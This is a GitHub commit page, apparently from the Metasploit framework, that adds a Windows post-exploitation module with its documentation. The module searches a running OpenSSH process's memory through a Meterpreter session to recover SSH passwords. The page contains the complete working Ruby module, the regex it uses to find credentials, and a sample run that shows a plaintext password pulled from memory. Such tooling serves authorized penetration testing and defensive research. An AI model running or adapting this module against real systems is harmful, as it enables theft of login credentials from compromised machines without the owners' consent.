Skip to content

Commit

Permalink
Add OpenSSH password search module for Windows
Browse files Browse the repository at this point in the history
  • Loading branch information
sjanusz-r7 committed Dec 4, 2023
1 parent ce21e84 commit 17cd438
Show file tree
Hide file tree
Showing 2 changed files with 200 additions and 0 deletions.
Original file line number Diff line number Diff line change
@@ -0,0 +1,65 @@
## Vulnerable Application

This module allows for searching the memory space of running OpenSSH processes on Windows
for potentially sensitive data such as passwords.

## Verification Steps

1. Start `msfconsole`
2. Get a Meterpreter session
3. Do: `use post/windows/gather/openssh_password_search`
4. Do: `set SESSION <Session ID>`
5. Do: `set PID <Process ID>`
6. Do: `run`

## Options

### PID

The process ID of the OpenSSH target process. (default: `nil`)

### REGEX

The regular expression to search for in process memory. (default: `publickey,password.*`)

### MIN_MATCH_LEN

The minimum match length. (default: `5`)

### MAX_MATCH_LEN

The maximum match length. (default: `127`)

### REPLACE_NON_PRINTABLE_BYTES

Replace non-printable bytes with `.` when outputting the results. (default: `true`)


## Scenarios

### Windows 10 - OpenSSH_9.4p1, OpenSSL 3.1.2 1 Aug 2023
In this scenario, the Windows target is connected to a different host using `ssh.exe` using the password `myverysecretpassword`.
```
msf6 post(windows/gather/openssh_password_search) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows DESKTOP-NO8VQQB\win10 @ DESKTOP-NO8VQQB 192.168.112.1:4444 -> 192.168.112.129:59376 (192.168.112.129)
msf6 post(windows/gather/openssh_password_search) > run pid=8780 session=-1
[*] Running module against - DESKTOP-NO8VQQB\win10 @ DESKTOP-NO8VQQB (192.168.112.129). This might take a few seconds...
[*] Memory Matches for OpenSSH
==========================
Match Address Match Length Match Buffer Memory Region Start Memory Region Size
------------- ------------ ------------ ------------------- ------------------
0x0000000A00060EE0 127 "publickey,password......3.......myverysecretpassword....................#.........#.....................#...... 0x0000000A00000000 0x0000000000090000
.client-session."
[*] Post module execution completed
```
135 changes: 135 additions & 0 deletions modules/post/windows/gather/openssh_password_search.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,135 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows OpenSSH Password Search',
'Description' => %q{
This module allows for searching the memory space of running OpenSSH processes on Windows
for potentially sensitive data such as passwords.
},
'License' => MSF_LICENSE,
'Author' => ['sjanusz-r7'],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_sys_process_memory_search
]
},
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => []
}
)
)
register_options([
OptInt.new('PID', [true, 'Process ID of OpenSSH to search through', nil]),
OptRegexp.new('REGEX', [true, 'Regular expression to search for with in memory', 'publickey,password.*']),
OptInt.new('MIN_MATCH_LEN', [true, 'The minimum number of bytes to match', 5]),
OptInt.new('MAX_MATCH_LEN', [true, 'The maximum number of bytes to match', 127]),
OptBool.new('REPLACE_NON_PRINTABLE_BYTES', [true, 'Replace non-printable bytes with "."', true])
])
end

def pid
datastore['PID']
end

def regex
datastore['REGEX']
end

def min_match_len
datastore['MIN_MATCH_LEN']
end

def max_match_len
datastore['MAX_MATCH_LEN']
end

def replace_non_printable_bytes
datastore['REPLACE_NON_PRINTABLE_BYTES']
end

def mem_search(pid, needles, min_search_len, match_len)
request = ::Rex::Post::Meterpreter::Packet.create_request(::Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_SEARCH)

request.add_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_PID, pid)

needles = [needles] unless needles.instance_of? ::Array

needles.each { |needle| request.add_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_NEEDLE, needle) }
request.add_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_LEN, match_len)
request.add_tlv(::Rex::Post::Meterpreter::TLV_TYPE_UINT, min_search_len)

self.session.send_request(request)
end

def non_printable?(byte)
byte < 0x21 || byte > 0x7E
end

def print_results(results: [])
if results.empty?
print_status 'No regular expression matches were found in memory'
return
end

results_table = ::Rex::Text::Table.new(
'Header' => 'Memory Matches for OpenSSH',
'Indent' => 1,
'Columns' => ['Match Address', 'Match Length', 'Match Buffer', 'Memory Region Start', 'Memory Region Size']
)

x64_architectures = [
ARCH_X64,
ARCH_AARCH64,
ARCH_X86_64
]
rjust_value = x64_architectures.include?(self.session.native_arch) ? 16 : 8

results.each do |result|
match_address = result.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_ADDR).value.to_s(16).upcase || 0
match_length = result.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_LEN).value || 0
match_buffer = result.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_STR).value || ''
region_start_address = result.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_START_ADDR).value.to_s(16).upcase || 0
region_start_size = result.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_SECT_LEN).value.to_s(16).upcase || 0

if replace_non_printable_bytes
match_buffer = match_buffer.bytes.map { |byte| non_printable?(byte) ? '.' : byte.chr }.join
end

results_table << [
"0x#{match_address.rjust(rjust_value, '0')}",
match_length,
match_buffer.inspect,
"0x#{region_start_address.rjust(rjust_value, '0')}",
"0x#{region_start_size.rjust(rjust_value, '0')}"
]
end

print_status results_table.to_s
end

def run
if session.type != 'meterpreter'
print_error 'Only Meterpreter sessions are supported by this post module'
return
end

print_status("Running module against - #{session.info} (#{session.session_host}). This might take a few seconds...")
results = mem_search(pid, regex.source, min_match_len, max_match_len)
group_tlv_results = results.get_tlvs(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_RESULTS)
print_results(results: group_tlv_results)
end
end

0 comments on commit 17cd438

Please sign in to comment.